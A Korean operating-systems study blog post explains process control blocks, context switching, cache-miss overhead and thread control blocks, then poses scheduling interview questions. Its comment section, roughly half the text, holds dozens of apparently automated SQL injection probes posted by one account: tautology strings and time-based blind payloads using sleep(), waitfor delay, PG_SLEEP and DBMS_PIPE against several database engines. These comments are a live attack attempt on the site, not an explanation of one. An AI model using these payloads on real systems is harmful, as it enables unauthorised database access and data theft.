CS스터디

[CS스터디] PCB, Context switching

by VICENTE97P4


April 8, 2022, 3:31 p.m.


결국 PCB와 context switching에 대해 제가 적게 되었습니다.


PCB(Process Control Block)

프로세스를 materialize하는, 그러니까 실제로 형태를 갖추게 하는 process의 자료구조를 PCB라고 합니다.

OS는 process를 관리할 때 PCB를 가지고 합니다.

그래서 PCB에는 프로세스 관리에 필요한 정보들이 저장됩니다.

리눅스에서는 PCB를 task_struct라는 구조체로 선언하고 있습니다.


PCB에 저장되는 것들은 다음과 같습니다.

- process state

- PC(program count)

- CPU registers

- CPU scheduling information(priority 정보 등)

- Memory management information

-- process의 메모리 위치(stack의 위치, heap의 위치 등)

- accounting information

-- process가 시작한지 얼마나 지났는지, memory는 얼마나 사용하고 있고, CPU는 얼마나 사용했는지 등

- I/O 상태 정보

-- 현재 어떤 I/O를 요청한 상태고 open한 파일은 뭐가 있고 등

등의 정보를 저장합니다.


추가적으로, OS는 Linked list 형태의 Process table로 PCB를 관리하고 있습니다.

PCB는 프로세스의 중요한 정보를 포함하고 있기 때문에, 일반 사용자가 접근하지 못하도록 보호된 메모리 영역에 위치해있습니다.

(일부 운영체제에서는 커널 스택의 처음 부분에 위치한다고 합니다.)

제가 면접에서 PCB의 위치 질문을 받았는데 이거는 강수용 교수님께서 안가르쳐주셔서.. 개털렸던 기억이 있습니다.

과감하게 휴학하고 그 스타트업에 갔어야 했는데.. 학교를 다닌다는 잘못된 선택을 해서 그만.. 이도저도 아닌 삶을 살게 되었습니다.

아마 현재로써는 제 생에 최악의 선택 중 하나가 아닌가.. 합니다.

역시 사람은 여유있는 삶을 살아야 올바른 선택을 하게 되는 것 같습니다.


Context Switch

실행 중인 한 process(thread)에서 다른 process(thread)로 전환하는 것을 context switch라고 합니다.

interrupt가 발생하거나 system call을 호출할 경우 발생합니다.

interrupt는 그렇다 치고 system call은 왜 context switch가 일어날까요?

system call은 kernel code입니다. 그래서 kernel code로 들어가야 하기 때문에 interrupt와 같이 지금 상태를 저장해줘야 합니다.



과정은 다음과 같습니다.

1. 현재 실행 중인 process의 상태정보를 PCB에 저장합니다.(여기서는 PCB0 입니다.)

2. 실행하려는 process의 정보를 해당 PCB(여기서는 PCB1 입니다.)에서 불러와서 register에 탑재합니다.

3. 해당 process(여기서는 P1)를 실행합니다.

4. P1 실행 중에 interrupt / system call이 생기면 현재 P1의 상태를 PCB에 저장하고 다음 실행 대상을 정합니다.

5. 정해진 대상의 PCB에서 불러와서 실행합니다.


필요한 정보들을 저장했다가 불러왔다가 하는 과정에서 생기는 overhead는 꽤 부담됩니다.

또한 이 뿐만 아니라 추가적인 overhead도 있습니다.


cache miss overhead

cache에는 현재 실행 중인 process의 data가 들어갑니다.

근데 context switching이 발생하면 이제 cache에 있는 data가 필요없어집니다.

그래서 cache를 비워버리죠.

그렇게 cache를 비우면 process가 바뀐 후 초반에는 cache miss가 계속 발생하게 됩니다.

그럼 메모리 참조가 발생하게 되고 이는 overhead가 됩니다.

그런데 같은 프로세스의 thread 간에 context switch가 발생하면 cache를 비우지 않아도 됩니다.

공유하는 데이터가 있기 때문에 cache가 쓸모있어지고, cache miss 발생 횟수도 감소하게 됩니다.


그런데, 그러면 context switch가 thread 단위에서도 일어난다는 의미입니다.

그럼 그 thread에 관한 정보는 어디에 저장할까요? 바로 TCB에 저장합니다.


TCB

TCB는 thread 별로 존재하는 자료구조이며 PC값과 register set, 그리고 PCB를 가리키는 Pointer를 가집니다.

당연히 TCB는 PCB보다 적은 데이터를 가집니다. thread에 관한 data만 있으면 되니까요.



ready queue, wait queue 등의 queue들은 이 경우 TCB를 가리키게 됩니다.

보통 TCB는 커널 레벨에서 context switching의 기본 단위가 되며, 같은 프로세스에서 context switching에 대해서는 TCB 정보만 저장하면 됩니다.

하지만 다른 프로세스 간의 스위칭을 할 때는 TCB, PCB 정보를 모두 저장해야 합니다.


thread context switching이 process context switching보다 overhead가 적은 부분

- 같은 프로세스 간에 스위칭을 할 경우 TCB 정보만 저장하면 됩니다.

- cache miss overhead가 적습니다.


- Process table은 왜 linked list로 관리될까요? 배열로 하면 바로 찾을 수 있어서 더 효과적이지 않을까요?

- regressive round robin scheduler라고 아시나요? 각 프로세스에 시간 할당량과 우선순위를 부여하는 scheduler에요.

그런데 시간 할당량의 초기 값은 50ms이고, 시간 할당량을 모두 소진하면 10ms씩 시간 할당량이 증가해요, 최대 100ms까지 증가합니다. 그리고 우선순위도 오르죠.

만일 시간 할당량을 다 쓰기 전에 switching 되면 시간 할당량이 5ms씩 감소되지만 우선순위는 변하지 않아요.

그럼 이 regressive round robin scheduler는 I/O bound job과 CPU bound job 중 어느 프로세스를 우대하나요?

- user level thread는 커널이 존재를 인식하지 못하는데 그럼 어떻게 스케줄링 할까요? (kernel -level thread에 매핑함, kernel-level thread로 스케줄링 함)

- multi core에서 스케줄링을 할 때 queue를 갖는 방법이 2가지가 있을 수 있어요, 하나는 공통 queue를 갖는 것이고,  하나는 core마다 queue를 따로 갖는 경우가 있을 수 있죠. 그럼 각각의 장단점은 무엇일까요?(공통 queue load balancing 필요없음, lock 필요, 따로 queue는 load balancing 필요, lock 불필요)

- 그럼 공통 queue를 사용한다고 해봅시다. 쿼드 코어고, 프로세스가 6개라고 해볼게요, 1,2,3,4번은 현재 각 코어에서 실행 중이에요 이때 동시에 RR이 실행되었어요, 그럼 어느 코어에 어느 프로세스를 배치하는 것이 좋을까요?(캐시 효율을 위해 처리했던 process를 같은 processor에서 처리하기 processor affinity)

   62   view  2374
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

1mmC5Pok

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1 OR 2+558-558-1=0+0+0+1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1 OR 3+558-558-1=0+0+0+1

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

IqkGlkYr'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1 OR 811=(SELECT 811 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1) OR 491=(SELECT 491 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

-1)) OR 934=(SELECT 934 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

WGN0Cs1E' OR 205=(SELECT 205 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

uQBprHAA') OR 823=(SELECT 823 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

wF2E2IiT')) OR 267=(SELECT 267 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

'"

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:17 p.m.

@@jbmCT

Updated: Feb. 22, 2025, 5:17 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

-1 OR 2+770-770-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

-1 OR 2+331-331-1=0+0+0+1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

-1' OR 2+701-701-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

-1' OR 2+860-860-1=0+0+0+1 or 'cwMkaOAP'='

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

-1" OR 2+430-430-1=0+0+0+1 --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1ZFyIU14B'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1 OR 300=(SELECT 300 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1) OR 421=(SELECT 421 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1-1)) OR 127=(SELECT 127 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1N2IfWjLr' OR 991=(SELECT 991 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1Dz5LDm0b') OR 399=(SELECT 399 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1RSK97NRT')) OR 736=(SELECT 736 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1'"

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

1����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:25 p.m.

@@yz5Sk

Updated: Feb. 22, 2025, 5:25 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:26 p.m.

555

Updated: Feb. 22, 2025, 5:26 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:26 p.m.

555

Updated: Feb. 22, 2025, 5:26 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:26 p.m.

555

Updated: Feb. 22, 2025, 5:26 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:26 p.m.

555

Updated: Feb. 22, 2025, 5:26 p.m.